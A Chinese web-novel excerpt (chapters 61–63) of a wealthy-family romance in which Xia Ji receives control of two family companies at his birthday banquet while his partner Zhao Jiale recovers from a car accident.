都说越是有钱越是自诩豪门的世家就越讲究体面,赵锋锐还在赵家当家做主的时候,他们家也是个要脸面的正经豪门。 但赵嘉良上台之后就不一样了,他先是亲自撕掉了自家的体面,把亲爹小三的事情闹的人尽皆知不说,还借着母亲娘家的势力公然跟亲爹打起了擂台。这跟很多奉行家事要关起门来说的世家准则是相悖的,而之前林沐阳和周镇川也以为赵嘉良至少要等到夏季生日宴结束之后再来慢慢清算。可谁曾想赵嘉良竟是一刻都等不及,直接在生日宴开始之前,在两人到来的当下直接堵在大门口把他们趁人之危,在他还没咽气的时候试图勾搭他对象的家伙堵在门口骂。 这份不体面不仅跟这座奢华唯美的夏园格格不入,也跟整个豪门圈子的行事作风背道而驰。 每个后面抵达的客人都不得不在门口驻足片刻,聆听赵嘉良中气并不怎么足的叫骂声,至于那些来的早些的客人,也都各自心怀鬼胎的在各个窗口占据位置。 “真的不用去管管吗?”王今安眉头紧锁,“这也太不体面了。” “随他去吧。”夏季知道赵嘉良这些日子心里多少是憋着气的。 他心里有气肯定不会冲自己撒,正好趁着今天这个好日子,让他把心里的不爽发泄出来也是好事。 周镇川和林沐阳都是第一次被人这么堵在门口骂。 这如果换了旁人,他俩或许直接掉头就走了。可偏偏今天是夏季的生日…… 这两个家伙今天都打扮的格外人模狗样,甚至周镇川今天一大早还找了内娱顶级造型团队,从早上五点开始做造型。他虽然不是今日的主角,可他今天的妆造可比他当年跟夏荣结婚的时候更加尽显低调奢华。 林沐阳倒是好些,自从知道赵嘉良醒了之后他这个老狐狸就乖乖的夹着尾巴做人了。 但跟周镇川这个傻der站在一起被赵嘉良指着鼻子骂,这丢人的程度也算是丰富人生经历了。 林沐阳倒是还好,他这种性子的人即使被赵嘉良当众骂了,面子丢完之后隔天还能嬉皮笑脸的继续跟他的两个求和。但周镇川就不行了。 原本周镇川是想着忍一忍,好歹一会儿进去看看夏季,最好能跟夏季说上话的。可赵嘉良这个家伙即使瘫了残了,说话时间长了都带喘了,却依然坚持不懈的堵在门口把他俩骂了很久。 最后周镇川不堪受辱的铁青一张脸转头就走,就原本张罗着要送给夏季的生日礼物都没能送出,他就肝火大的带着人走了。 在二楼围观了全程的王今安发出了“哦豁”的声音。 “赵狗这文雅的骂人方式还挺不错的哈,周镇川也比我想象中的经骂,这都快二十分钟了才羞愧难当的跑路啊?” 其实那天周镇川和夏荣来找夏季犯贱的时候,他们就得到了第一手消息知道赵嘉良醒了。 原本还犹犹豫豫想攀着周镇川帮忙救妈的夏荣也是人生中头一次那么清醒,回家之后他就直接掏出一份离婚协议,拍给周镇川当场要求离婚。 当时还想着能拿捏夏荣的周镇川先是一愣,后面直接破口大骂,“最开始闹着要离婚的是你,后面夏家出事反悔不想离的还是你!怎么?现在听说赵嘉良醒了,觉得我周家可能会遭殃了,你又想要离婚把自己撇干净了是吧?” “夏荣,这次谁不离谁是孙子!我告诉你,从今往后咱俩一刀两断!你以后就算出去要饭,可千万记得绕开我周家大门!” 托当年阿久带头整治夏荣的福,夏荣这辈子头脑都没有这么清醒过。 “放心吧,这次我必定跟你离婚。而且真论要饭你觉得赵嘉良醒了是先清算你还是先清算我啊?” 因为豪门联姻大多有婚前财产协议,两人在财产方面没有纠葛,几乎是当天就签好了离婚协议,第二天就去民政局办理了手续,只等着离婚冷静期结束之后就能彻底分道扬镳。 而周镇川想的挺美,现实却非常残酷。 虽然赵嘉良确实如他所愿的残了,但看他如今这副模样恐怕一时半会儿是无法“自然死亡”了。而夏季 相信今日在场的很多人心中难免都会有同一个感叹。 夏季那么漂亮的大美人儿之前跟着赵嘉良还算是个好去处,可如今这位有才有财的夏二少,赵嘉良还配的上吗? 这也不怪许多人心里打起小九九了。 当年夏季的身份还只是赵嘉良的金丝雀时,就有不少人惦记着,只等赵嘉良腻了有幸能接盘了。如今知道夏季不仅长得美,还能力卓绝,不仅能跟科学院牵线搭桥,还可能继承他亲爹夏听风的巨额遗产后,那这情况可就不一样了~ 说实话,如果以前夏季的生日宴大家都是看赵嘉良的面子前来的,那今天的大家则是真心实意奔着夏季来的。 尤其是当夏燃和高嘉丽夫妻俩手挽着手姗姗来迟时,焦点人物终于是齐了。 高嘉丽如今已经显怀了。他们的保密工作做得好,对外一直没有放出消息,今天算是第一次借着夏季的生日把即将添丁的喜事公之于众了。 有相熟的贵妇人一脸惊喜的过去跟他们打招呼,“嘉丽你这是哎呀,这样的大喜事怎么不早点说呀。快进屋,可别给门口风吹着了。” 夏燃温柔的小心揽着妻子,眼中的爱意仿佛能溢出来一般,光是看着就很难不让人心生感慨。 而此时的赵嘉良也终于在门口骂够了,跟林沐阳一前一后进门,看到的就是夏燃夫妻俩被众人围着恭维的场景。 “夏总来啦,刚刚进门的时候有事情,忘了跟你说恭喜了。”作为主人,赵嘉良被手下推着轮椅过来的时候,旁人都自动为他退开一条道路。 因为面瘫的缘故,他此时的表情很难揣测,语气听着倒是有点怪怪的,也不知道是否也是车祸后遗症。 身为夏季的男朋友,赵嘉良对所有姓夏的及其亲属都是一视同仁的无差别攻击。这一点,夏燃刚从喻馨手中接下夏氏的烂摊子时就深有体会了。不过夏燃这人的工作能力还是有的,再加上他还有个非常牛逼的岳丈。这些年下来,夏燃也是扛住了。 见到赵嘉良过来,夏燃敛起脸上的笑意,郑重的冲他点了点头,“谢谢。刚刚看您在门口骂人,虽然中气不足但还挺有精神的,想来身体已经大好,祝您早日康复。” 其实往年夏季的生日,夏家人都是不在受邀之列的,但这次夏季却破天荒的主动给夏燃送去了请帖,这就很令人好奇了。 正好这时候夏季也带着一众小尾巴慢悠悠的过来了。 作为今天的绝对主角,夏季今天穿了一身黑色礼服。看着是那种绝不会出错类型的样子,可走近一看却让人无可忽视的是这礼服面料非常特别,给人一种“五彩斑斓的黑”的感觉。这倒是衬的这位顶级“金丝雀”,更有一种空灵神秘的气质。 “大哥来啦?” 夏季随意的招呼了一声,又冲高嘉丽微微点头示意,算是跟他们打过招呼了。 夏燃嗯了一声,然后高嘉丽从手包里拿出一份文件交给了他。 “生日礼物,祝咱们夏二少生日快乐。” 这种档次的生日宴,大家送礼物多少要讲求个“包装精美”“价格不菲”之类的。但夏季今天收到的所有生日礼物中,最之前的恐怕就是高嘉丽手中的这薄薄几张纸了,就连赵嘉良早就精心准备好的生日贺礼都不能跟其相比。 也不知道夏燃和高嘉丽是怎么想的,这种文件也是不加修饰的直接当着众人的面拿了出来。 若不是碍于体面,恐怕不少人都想上前看看这叠能作生礼物的文件到底是什么内容。 而在夏季接过文件后,夏燃也是很贴心的为大家答疑解惑了。 “夏氏股权转让已经完成。从今天开始,夏季是你的了。”《 》 60-70 第61章 夏燃这话说的轻轻飘飘的, 仿佛给出的只是个无关轻重的普通生日礼物似的。 事实上夏季还在夏家的那几年里,夏燃确实没给这个同母异父的弟弟送过什么值钱的生日礼物。不过与之对应的是,夏燃起码还会在夏季生日的时候送点东西糊弄一下, 反而夏季连糊弄的形式主义的都不走, 别说夏燃这个大哥的生日了,就是喻馨生日的时候他都向来一毛不拔。 之前喻馨还曾想拿这事儿做文章,可夏季也是个实诚人。旁人若是问起, 他就两手一摊:我没钱。 要是有好事者再敢多问夏季一句他堂堂夏家二少为什么会没钱,夏季就敢告诉提问者,因为夏家就没给过他一分钱。因此喻馨为着体面,最后还是没敢拿这个问题说事儿。毕竟自从夏季回到夏家之后, 喻馨是真的一毛钱都不想拿给他的。也就是回京之后王今安发达了,王老夫妻俩为了报答夏季之前的善举, 包揽了他的学费生活费。这使得夏季即使没有从夏家拿到钱却过的并不比普通学生差。 夏季花王家钱的时候是不客气的,因为他打从一开始就说好要给王家老两口养老, 算是王家编外家庭成员。 之前夏季是没钱。认识赵嘉良之前吃老师的, 认识赵嘉良之后他直接把赵总啃成“京圈最穷霸总”。 如今夏家话事人夏燃手持夏氏股权转让协议作为生日礼物奉上, 这不仅意味着夏家的权柄交替,更是从根源上让夏季这个曾经只能依附于旁人过活的“金丝雀”彻底翻身了。 “多谢。”夏季笑眯眯的伸手去接,他笑的还挺真诚好看, 让高嘉丽都忍不住多看了两眼。 虽然价值百亿的股权转让协议就薄薄几张纸,还连个修饰包装都没有。但钱的事情, 跟外包装又有多少关系呢?夏季该笑纳的还是笑纳了。 让在场的不少宾客感到十分惊讶的是, 像夏氏那种体谅的公司,换个老板可不是上下嘴皮子一碰就能做到的事情。其中要走的法律程序和其他股东的知情认可更是一个不能少,能在这么短的时间内完成这一切,只能说明从夏家到夏氏, 从上到下,从里到外所有人都通力配合,鼎力协助才能做到。如果没有夏燃方面的绝对配合,这么短的时间内肯定是 可夏季何德何能让夏燃心甘情愿的退位让贤? 一时间众人心中皆是猜测不断。有跟高嘉丽相熟的富家千金小心翼翼的挽了挽她的手,问,“这是怎么了?怎么好好的夏氏就要换老板了?” 高嘉丽笑笑,她美丽坦荡的面容没有半分不甘不愿,温温柔柔的语气仿佛在谈论今天的天气一般。“都是之前就说好的事情,最近也是终于尘埃落定了。” 这下众人在看夏季的眼光就跟一个月之前完全不同了。 在这短短一个月的时间里,夏季这只京圈要价最贵的金丝雀,在经历过金主植物人,亲妈打压和外界各种不怀好意的人士觊觎之后,不仅没有像某些人设想的那样会被啃的连骨头都不剩。他反而凭借着自己的人脉,在金钱加持下不仅送自己的金主成为划时代的医学奇迹。还把那个曾经把他赶出家门,各种诋毁污蔑的亲妈送进了监狱。 至于那位鸠占鹊巢多年,享受着“夏家小少爷”头衔的夏荣如今也是离婚封杀,日子很不好过。 若夏季拿到夏氏股份,成为夏氏真正的老板还不足以让人信服。甚至有些人还阴暗的想过夏季这种只知道念死书的,就算真拿到股份也未必能站起来。毕竟一个人能走多远,跟他的眼光远见是成正比的。 可在生日宴开始的致词上,还坐在轮椅上的赵嘉良也有话要说。 当着诸位京圈显赫的面,如果说夏季成为夏家话事人还算合情合理。那赵嘉良当众宣布要将自己手中的所有赵氏股份,以一元的价格转卖给夏季之后则是全场哗然。 “良哥,虽然你家祖传恋爱脑的事情大家都心知肚明,可你之前已经给了夏季一半的赵氏股份了,要是把剩下的全给他那你跟穷光蛋有什么区别啊?”赵嘉良的好兄弟韩彬瞠目结舌了好一阵,回过神来还是忍不住想劝劝自己恋爱脑晚期的酒肉兄弟。 可赵嘉良只一句:“我心意已决,未来我就给夏季打白工”的话一出,就让身边人彻底歇了继续劝说的心思。 如果说之前赵嘉良给夏季的25%赵氏股份勉强能够算作“彩礼”的话,那今天这剩余的26%就只能被称为“生日礼物”了。 虽说今日到访的很多人都为夏季准备了价格不菲的生日礼物,但他的大哥和男友两人出手着实吓人,就衬的旁人的礼物黯然失色了。 原本有些持观望心态的人也是见证了夏季的“一日暴富”,在夏季同样笑眯眯的缴纳了赵嘉良的生日礼物后,夏季的身价竟然在短短半个小时之内直逼京市首富。除了夏季和赵家的一些零碎不动产之外,这两个顶级京圈豪门都成了夏季的玩物。 待赵嘉良发言完毕,林沐阳也是舔着个脸硬凑了过来。 只见这家伙笑的跟只偷腥的狐狸似的,“良哥身体不便,夏二少不是不爱商场上的弯弯绕绕,那这夏氏和赵氏的事情” 林沐阳家虽然也家大业大,但与之相对应的是他家的孩子也特别多。林沐阳这个纨绔出身,夹缝求生的家伙在林家根本没有说话的份儿。之前他都是跟在赵嘉良屁股后面蹭点儿肉渣吃吃的,如今夏季这么牛逼了,他就是顶着赵嘉良杀人的目光也怎么都得毛遂自荐一下。 但夏季只是随意的摆了摆手,“不用,阿良只是残了又不是死了,他坐轮椅也能干活。” 这若是落旁人耳朵里只会觉得这位夏二少恐怕是个比周扒皮还会扒皮的资本家,可在赵嘉良所get到的重点却是:即使自己已经一无所有,身体也不如别人康健,可自己依然是夏季的第一选择! 坐在轮椅上的赵嘉良腰板儿挺得笔直,“你给我滚犊子!” 赵嘉良嘚嘚瑟瑟的模样,仿佛他不是失去了百亿财富而是净赚千亿似的。 从这一刻开始,巨额的财富成为了夏季的代名词。 至此,与会的所有人再也不会也不敢用之前的眼光看待这位早年被夏家“逐出家门”的唯一真少爷。夏氏和赵氏这两家公司加在一起,如果未来经营得当,夏季甚至想要冲击京市首富都有了一战之力! 而在之后的环节,夏季也表示这两家公司的实际经营会全权交给赵嘉良。 “毕竟我的正职是科学研研究员。”面对旁人对于他未来职业规划的询问,夏季无奈的耸了耸肩,“我的年假已经快耗尽了,过两天就要回研究院当牛做马了。” “是的,两个公司的都交给阿良吧。让他住院他嫌无聊,正好给他找点事做。” 面对旁人的询问,夏季实话实说。只是他这过于实诚的回答就连他的导师王老都有点儿听不下去了,让王今安抽空把他提溜到一边后,今天穿的十分喜庆的小老头黑着脸说,“夏季你这孩子,怎么说话做事比资本家还周扒皮呢?小赵这才植物人刚醒,他不仅需要复健还有身上的伤,好利索了吗你就给他把工作都排满了?” 王老虽然没经过商,但两个大型公司的运营,想来也是够忙的。 “没事,阿良他就这性子。这种时间我要是把公司交给旁人管理,他怕是宴会散了之后找旁人拼命。” 王今安也在旁边一脸悻悻的跟外公解释道,“人家一个愿打一个愿挨,外公您就别替赵狗操心了。这也就是恋爱脑没纳入医保,不然赵嘉良这病情早晚得住院治疗。” 不过夏季生日宴上发生的事情确实也让旁人对二人的恋情有了全新的认知。 等到宴会结束,散场送客的时候。宾客们再跟赵嘉良客套说好话的时候,话锋已经纷纷变成:“赵总真是颇有其母风范啊~” 对此,赵嘉良只当大家是在夸他了。相比于之前顶着寒风也要驻守大门口相比,宴会散场的送客他就很敷衍了事了。在把试图接着套近乎的林沐阳等人轰走之后,好久没有回到爱巢跟自家大宝贝儿亲昵的赵嘉良一回屋就看到王今安这颗硕大的灯泡正坐在自己的定制款真皮沙发上。 “内个谁,我外公跟你对象去书房了,喊你有空了也过去一趟。应该是有正事儿要跟你商量。” 身在夏园内,敢这么不把堂堂赵总放在眼里的恐怕也就只有他的大姑姐了。 赵嘉良虽然不明白自己明明已经姿态放得很低了,为什么这位大姑姐还是看自己不顺眼。但此时他也不好多问什么,只是应了一声就不甚熟练的推着轮椅要往书房去。 看他一副半身不遂,肢体不协调的操纵轮椅模样,王今安甚至都有点儿埋怨夏季为啥不给自己男朋友搞个更高级智能点的轮椅了。他又不缺那几个钱。 “你别动了,我帮你。” 毕竟是自己不眠不休好几天才好不容易抢救回来的一条命,王今安虽然对赵嘉良这人没什么好感,但对自己的毕业论文还是百般珍惜爱护的。眼看着赵嘉良的轮椅快跑偏了,她比佣人还跑的快几步,一手稳住了轮椅后她走了两步,又有点尴尬的停了下来。 “对了,你家书房在哪个方向?我不认识路。” 第62章 当初赵嘉良计划为爱人构筑爱巢的时候, 就是听信了王今安的鬼话,按照王子的宫殿标准在设计。 这项几乎能够代表近现代建筑设计美学巅峰的机会,当时在设计招标的时候, 国内外的知名设计师都快为这个“人傻钱多”的项目挣破头了。甚至还有些名家大家愿意自降身价为赵嘉良的理想主义宫殿助一臂之力。 不过最后赵嘉良还是选择了欧洲的著名皇家建筑师DO.Karo先生的团队。 因为对方拿出的古巴比伦空中花园设计方案, 无论是建筑外观还是关于爱情的寓意都很符合赵嘉良对爱情的想象。 在几年之后这座重金打造的爱巢建成后,王今安曾一度拒绝进门,所以她对夏园内部的构造其实并不怎么熟悉。 用邹柔柔的话来说, 她的这一心理深刻的体现了有些小心眼之人:“既怕兄弟吃苦,又怕兄弟开路虎”的心态。 赵嘉良沉默片刻,抬手指了个方向,“从这边花园穿过去上四楼就是书房。” 夏园的书房虽然说是书房, 但其实跟座小型图书馆也差不多了。不过这个小型图书馆的书籍品类比较单一,除了赵嘉良十分偶然才会看一看的经营类书籍之外, 绝大部分都是夏季专业方面相关的书籍。而昨天夏季还跟管家提了一嘴说要扩建书房规模,搞点农业相关的图书进来。 “外公, 夏季, 我把人给你们弄来了。” 在那张尺寸夸张的巨大白色书桌背后, 王老坐在正中,夏季坐在他右手边。远远看着,除了人数不对之外, 还真有点儿世界名画最后的晚餐的既视感。 王今安不顾赵嘉良的小小反抗,硬生生的把他的轮椅推到外公的左手边, 然后才转身带上门出去。 也不知道她英明神武的亲外公跟这两个家伙聊了些什么, 半个小时之后他们结束谈话出来的时候,赵嘉良和夏季看着都有点儿蔫蔫的。尤其是夏季,完全看不出来像是今天一日暴富的家伙。 中午开始的生日宴一直寒暄持续到下午四五点才结束,再加上他们谈事的时间, 这个点差不多可以吃晚饭了。 邹柔柔厚着脸皮准备在夏园蹭晚饭,倒是普通交情的宾客都已离开。夏季原本还打算留夏燃夫妻俩一起吃晚饭的,但高嘉丽说今天晚上约了医生做产检。 之前在送过生日礼物之后,夏燃夫妻俩在宴会上就表现不怎么活跃。有人猜测是夏燃失了夏家大权之后心里不爽,但其实夏燃满脸的不开心跟夏氏的归属真没多大关系。反而是夏季客气的亲自送他们出门的时候,他仿佛做了很久的心里建设一般,主动跟夏季说话了。 “夏季,听说赵嘉良脑死亡了都被你姐姐的导师救回来了,这么厉害的医生在医疗方面的熟人吧。” 之前在夏家的时候夏季几乎没有怎么跟这位高冷的大哥讲过话。夏燃的冷漠对夏家所有人都是一视同仁的,夏季就当他是性格如此了。 但再高冷的男人为了老婆孩子都能低下高贵的头颅,“我跟嘉丽结婚七八年了,之前因为喻馨下黑手,我们反应过来的时候已经没了两个孩子。” “啊?”夏季知道喻馨不喜欢高嘉丽的原因,但他没想到他这个看起来是个精明商人的大哥竟然迟钝到两个孩子都没了才回过神来,“那你俩还挺厉害的,意识到的挺晚啊。” 夏燃无奈的苦笑了一声,“你之前说的没错,我都三十了,还在纠结虚无缥缈的母爱,害人害己……” 也正是在赵嘉良出事,夏季忽然开始发难的时候,夏燃为了帮母亲“洗刷冤屈”调查往事的时候才猛然发现,原来真正在说谎的从来都不是夏季。反而从他的这些调查中,他顿时就联想到了高嘉丽之前的几次意外流产。那悄无声息次的手法其实并不高明,只是他们之前并不会往喻馨这方面想而已。 在受到夏季启发之后,夏燃只要稍加调查,残酷的真相便摆在了他的面前。 “上周嘉丽去产检的时候医生说孩子状态不行,怀疑可能是之前的药物残留,建议我们放弃。”夏燃深吸一口气继续说,“可如果打掉,我们就接连失去三个孩子了。再重新备孕至少半年,那时候嘉丽都要成高龄产妇了。” “你姐姐不是医科高材生吗?她有没有相熟的产科医生能介绍一下”其实夏燃和高家的财力和人脉,如果不是实在走投无路了也不至于病急乱投医到夏季这边。毕竟他俩虽然是亲兄弟,但关系却十分微妙,着实不亲近。 “可我姐她是神经外科医生隔行如隔山。”他的想法夏季倒是能理解,毕竟赵嘉良这个被各大医院名医都宣判死刑的家伙都能被救回来。甚至在今天的生日宴上,赵嘉良还表现的如此活蹦乱跳,这让夏燃心里难免产生了一丝希望。 “回头我让我姐帮你问问,不过她的导师和人脉范围都是外科的,你也别抱太大希望。” 见他答应了,有了夏季这个承诺,夏燃还是很高兴的,“我明白,那就麻烦你跟你姐多费心了。夏氏那边你有什么新安排可以直接联系我,我会配合你作权柄移交的。” “好,那我也谢谢你了。”夏季冲他点头致意。 曾经路上偶遇都不是打招呼的兄弟俩,此时此刻因为一些奇奇怪怪的事情,反而能够心平气和的好好说上话了。在目送夏燃夫妻俩离开之后,夏季也难免感慨。如果喻馨当初能够选择一条不同的路,或许他们真能成为好兄弟也说不定。 只可惜,世上没有如果。 夏季生日这天的晚餐也是格外的丰盛,甚至丝毫不比中午的生日宴逊色。 “晚上一起吃饭的都是家人。”夏季作为如今名正言顺的“一家之主”率先举杯,“阿良这次的事情多亏大家帮忙,不然我一个人必定独木难支。明天都要上班,我就以茶代酒,敬大家一杯。” 赵嘉良看了一下在座的诸位,除了乱入的邹柔柔之外,也就是王家那边的几位了。他们不仅是夏季认可的“亲朋好友”,如今更是新添一个新身份:赵嘉良的救命恩人。 “医生说我禁酒,我也以茶代酒敬诸位一杯。感谢这一个月以来大家对我和夏季的无私帮助。”赵嘉良撑着轮椅把手,蹭的一下站直了。 他虽然走路还不利索,但站的相当笔直稳当,看的出来恢复不错。这当然都是在座各位的功劳。 虽说大恩不言谢,但那是要有其他回报途径才能省了说谢的过程。而赵嘉良的这帮恩人虽然不是大富大贵之人,但也算各个都是各自领域的顶级人物了。如今赵嘉良连“钱多”这个优点都没了,他除了多真心实意的说几句“谢谢”之外还真没什么好的回报途径。 再加上之后夏季又厚着脸皮要帮夏燃问一嘴王今安有没有妇产科牛逼熟人的事情,赵嘉良只觉得他们欠这帮高知学术分子的人情是越来越多了。 “妇产科我真没人脉。”这是真触及王今安一个脑外科医生的知识盲区了,她虽然在医疗系统里认识的大佬不少,但那也大多是沾了她导师的光。 作为第一代的医学生,王今安却是说的实话。她的人脉就那么点儿,赵嘉良能经她手就活过来都已经是瞎猫碰上死耗子。但凡赵嘉良不是被创成植物人,而是身体其它方面出现大问题,王今安都不知道要找谁救他。 不过作为医生世家出身的邹柔柔适时出声了,“我有个远房姑奶奶是妇科圣手。不过她老人家退休多年早就不干了,一般人可找不到她亲自出马哦。” “介绍一下?”夏季一挑眉,“好处费找夏燃自取,我就是帮他问问。” 在打听清楚夏季这位传说中冷酷无情的大哥情况后,邹柔柔十分满意的点了点头,“难怪他这么爽快的把夏氏股份全都让给你了,连争都不争取一下,原来是退路比前路还宽啊。这个人情我得争取一下。” 夏听风刚去世的时候夏家是喻馨的一言堂。 而夏燃因为婚事坚决不肯听从母亲安排,几乎是作为赘婿入的高家大门。 这是他跟喻馨第一次闹到关系紧张,喻馨也就顺水推舟的剥夺了夏燃的继承权,只等着夏荣大了之后把公司交给幺子。 但现实却是,一个企业,尤其是大型的家族企业能否延续辉煌,这家企业的最高决策人是否有能力至关重要。 在关系错综复杂的夏氏,喻馨一个学表演出身的演员根本啥也不懂。起初她想当然的找了一些名气不小的职业代理人来管理公司,但这些代理人却大都因为错综复杂的家族亲缘关系和地方家族企业等原因导致的水土不服表现不佳。直到好好一个公司都快被整黄了,喻馨才顶不住内部和外部的双重压力,不得不跟夏燃低了头,把他从高家劝了回来。 再加上成年之后夏荣也不是个经商的料,夏氏才这么被喻馨不情不愿的交到了夏燃手中。 而作为高家独女的爱侣,夏燃其实在高家混的也非常好。他和高嘉丽婚后几年都感情甚笃,夫妻伉俪。夏燃在高家做赘婿的那几年里,高家发展的蒸蒸日上。有这种神仙女婿,高家根本都不想把人还回去。而对于夏燃本人来说,与其在夏氏帮一些不喜欢的人打白工,他其实更愿意去高家搞夫妻档。毕竟有能力的人只要给个靠谱平台都是不愁发展不起来的,所以夏季已提出要夏听风全部遗产时,夏燃反而是整个家里最爽快的那位。 而没了夏燃的鼎力支持,喻馨和夏荣两个演员在夏季手下根本走不过半个回合,就各自乖乖去到他们原本的位置了。 饭桌上,夏季宣布自己积攒了多年的年假已经彻底清零,从下周一开始他就要回研究所上班的事情。 而第一天成为京圈顶级富豪的他之所以整个人看起来都怨气满满,除了假期结束这个原因之外,还有一个很重要的因素就是夏季不得不服从科学院安排,调岗到月壤分析实验室去。 要知道夏季是天体物理专业的,后面进科学院临时挑起重担,干数据分析起的家。如今被借调到空间月壤培育项目,虽说项目内容是跟他专业占了点儿边,但真的也就只沾了一点。 不明所以的邹柔柔有些疑惑,“科学家研究什么不是研究啊,月球土壤诶,听起来就好牛逼。” 夏季冷笑一声,“小时候我在山里读书的时候,老师每天提耳面命让我们好好读书,知识才能改变命运,成绩不好就只能在老家种一辈子地了。结果我从小努力读书发愤图强,高考理科状元进入全国最好的学府学习。寒窗苦读十几年,结果还是去种地?” 赵嘉良没忍住,不小心笑出了声。结果就是收获了夏季的一枚眼刀。 王老轻咳一声,不赞许的表示,“夏季你还年轻,你不懂。我们做研究的无论整的再怎么天花乱坠,最后都是要回归到人民群众的实际利益当中去的。” “道理就是这个道理。我反而觉得这对你来说是个机遇,搞研究最忌讳心气浮躁,你可别被忽然到手的财富迷了眼。” 大佬都这么说了,夏季自然也没有拒绝的道理。赵嘉良虽然更希望夏季能够永远从事他感兴趣的研究,但当着王老和一帮救命恩人的的面他不好意思开口。 这顿饭吃的赵嘉良是低声下气。 等到终于把这几尊大佛送走之后,他才握住爱人的手,轻声劝慰道,“你要是不想研究种地就别干了。实在不行,我再帮你想想办法?” “不用。”夏季反手握住他微凉的大掌,“我自己的事情,我心里有数。倒是你我看夏燃是要跑路回去继续当赘婿的样子,交给你一个艰巨的任务。你不是最擅长干公司合并吗?把夏氏和赵氏合并一下,就跟当年你合并你爹妈各自家资产那样,你觉得如何?” 第63章 相比于赵氏, 夏氏这种早年做事业发家的老品牌公司的老家底,其实在喻馨掌权的那几年就已经败的差不多了。 也就是夏燃是个给力的,接手烂摊子之后大刀阔斧的改革, 然后靠着高家的网络资源硬是把夏氏转型成了电商的领头品牌, 现在靠着亲民路线的零售网络发展的相当不错。只是跟赵氏相比,两家公司的产业链几乎没有重合,比当年赵嘉良整合赵氏和余氏的难度要大上不少。 但这些并不是夏季该操心的。反正不管公司的老板是谁, 干活的人都一定是他赵嘉良没跑了。 只是这次赵嘉良车祸重伤发生之后,他也听阿久说了情况。知道自己刚出事的时候很多人都想趁这个机会作践夏季,欺负他。 虽然赵嘉良知道自家这只“金丝雀”脾气不好不说还颇有杀伤力,但夏季对外的人设太好了, 绝大多数人都只把他看做以色侍人的废物。这就使得自己昏迷的时候,夏季难免会遭受一些白眼和议论。 虽然赵嘉良也知道这种程度的麻烦夏季自己能够解决, 可只要一想到夏季可能受过委屈,赵嘉良就浑身上下都刺挠。因此把自己名下所有的赵氏股份全部无偿送给夏季, 也是他对所有曾经瞧不起夏季的人的一种无言反击。 他赵嘉良可以是“京圈最穷霸总”, 但他的“金丝雀”必须是京圈最富。如果夏季跟着自己还要受委屈, 那就是他赵嘉良废物! 不过赵嘉良的这些心理活动夏季并不清楚,也懒得共情。 虽然王今安和邹柔柔都私下提醒过他,说刚复苏但是植物人无论是心理还是生理都还很脆弱, 需要家人的悉心关怀。但夏季因为研究工作的事情心烦意乱,也无暇顾及赵嘉良那脆弱的霸总心了。 “反正我只是个建议, 具体要怎么操作还是看你自己觉得怎么方便。”夏季这话说的冰凉凉的, 但恋爱脑总是能从一些平平无奇的小细节中发现爱意,抓住情谊。 “谢谢宝贝为我考虑,过两天我去夏氏看看情况再说吧。”赵嘉良操纵着轮椅靠近他些,然后抬手一把环住对方纤细的腰肢, 把脑袋埋在对方的柔软的腰腹处,低声说,“对不起,宝贝,我真的很抱歉。” 虽然这次的车祸事件归根结底其实跟科学院有脱不开的干系。但夏季之前提醒自己说斩草必须除根的事情,自己没有听从也是这起祸事重要原因。 毕竟就算没有境外势力的干预,就以赵嘉良跟赵天生之间的恩怨,也迟早会有一场类似的祸事等待着他。只是这次掺杂了一些旁的因素之后,事情变得复杂了不少。 “对了,我那个车祸的案子,老胡那边有进展了吗?” 本来被调到月壤研究组去就已经非常恼火的夏季见他哪壶不开提哪壶,一巴掌拍在他天灵盖上,“这么想念老胡,明天我让他来探望你,亲自跟你汇报案情。” “我不是这个意思”赵嘉良赶紧解释。 但夏季一把扯开他锢在自己腰间的手臂,“你今天的复健还没做,我让阿久先送你去医院,你今晚就在医院住别回来了。” 于是刚刚为爱人奉上全部资产的赵嘉良当天晚上就被赶出家门。这待遇让阿久都忍不住替家老板不值了,“赵总您说您这是何苦啊?钱握在自己手里才是底气,全给夏少了万一他以后” 阿久这话没说完,就被赵嘉良无情打断了,“你再说这种话就直接提离职申请吧。” 这可把阿久气的,恨不得干脆明天就直接离职,一了百了。可念着早年的救命之恩,阿久还是只能捏着鼻子暂且忍下来了。这倒不是他这人多么品格高尚知恩图报,主要是这些日子他跟在夏季身边感觉的出夏季这人并非外界传言那般。甚至阿久还隐隐觉得,或许这位夏先生才是自己身边最品格高尚的那一位。他虽然不赞成赵总将所有人生未来全部赌在旁人身上的操作,却并非完全不能理解。 而第二天早上老胡真的如约前来探望赵嘉良了。要知道这位略显神秘的大佬身份特殊,夏季竟然能喊的动他也是挺出人意料的。 老胡跟赵嘉良谈车祸案子的事情,两人关着门在单人病房里才聊了不到半个小时,老胡就焦急的冲了出来喊医生了。 阿久赶紧进病房查看,他家赵总不知是听闻了什么噩耗,原本只是面瘫的一张脸被气的眼歪嘴斜。 “阿久,你帮我跟夏季发个消息,说我这几天就在医院住院顺便复健,先不回家了。”经历过中西医结合的电击加针灸治疗过后,赵嘉良的情况有所缓解。他喘着粗气跟阿久交代了一句,却还能隐隐听到老胡在门外询问医生情况时,几个资深神经外科医生盛赞自己是医学奇迹的话语。 赵嘉良行动不便不好去门口亲自问询,但他记得之前王今安说过,人民医院这边的神经外科有大半是她导的徒子徒孙徒增孙等自提繁殖的,他有些担心自己身体出问题的事情会传到夏季口中,让他分心。 “跟王今安也说一声,让她别大嘴巴。” 但不管夏季会不会知晓他被老胡气出毛病的事情,这种“医学奇迹”李教授等人自然是不会错过的。 中午赵嘉良刚吃完午饭,这位年过六十却依然精神矍铄的老教授就带着一帮徒弟来了。赵嘉良当植物人的时候跟这些人都接触过,但真正醒来还认识的,也就只有王今安一个了。 李教授跟管床医生去了解情况了,王今安一脸调笑的凑了过来。 “赵总真不愧是天命之人,这种百年难得一遇的情况都能发生在你身上?” 本来赵嘉良的主治医生们还在为他的面瘫问题头疼呢,因为面部神经和末端神经不敏感,赵嘉良几乎无法变换表情,也很难操纵四肢灵活动作。 “能问问门口那位是说了些啥能把你气的鼻子眼睛嘴巴都忽然能动了吗?”王今安是真好奇。 从赵嘉良还是植物人的时候就能看出,这名京圈知名奸商其实是个很情绪化的人,不然他也不会被夏季的相关事情刺激的醒过来。而人一旦受到刺激之后,会出现难以抑制的表情变化这也是正常情况。只是能刺激到末梢神经起反应,王今安相信这一定是个跟夏季要被人挖墙脚差不多震慑程度的刺激才能让赵嘉良出现如此情况的。 此时经过紧急救治的赵嘉良也算是因祸得福,面部神经灵敏了不少,竟然能做出一个屑屑的表情来。 “保密案件,不便透露。” 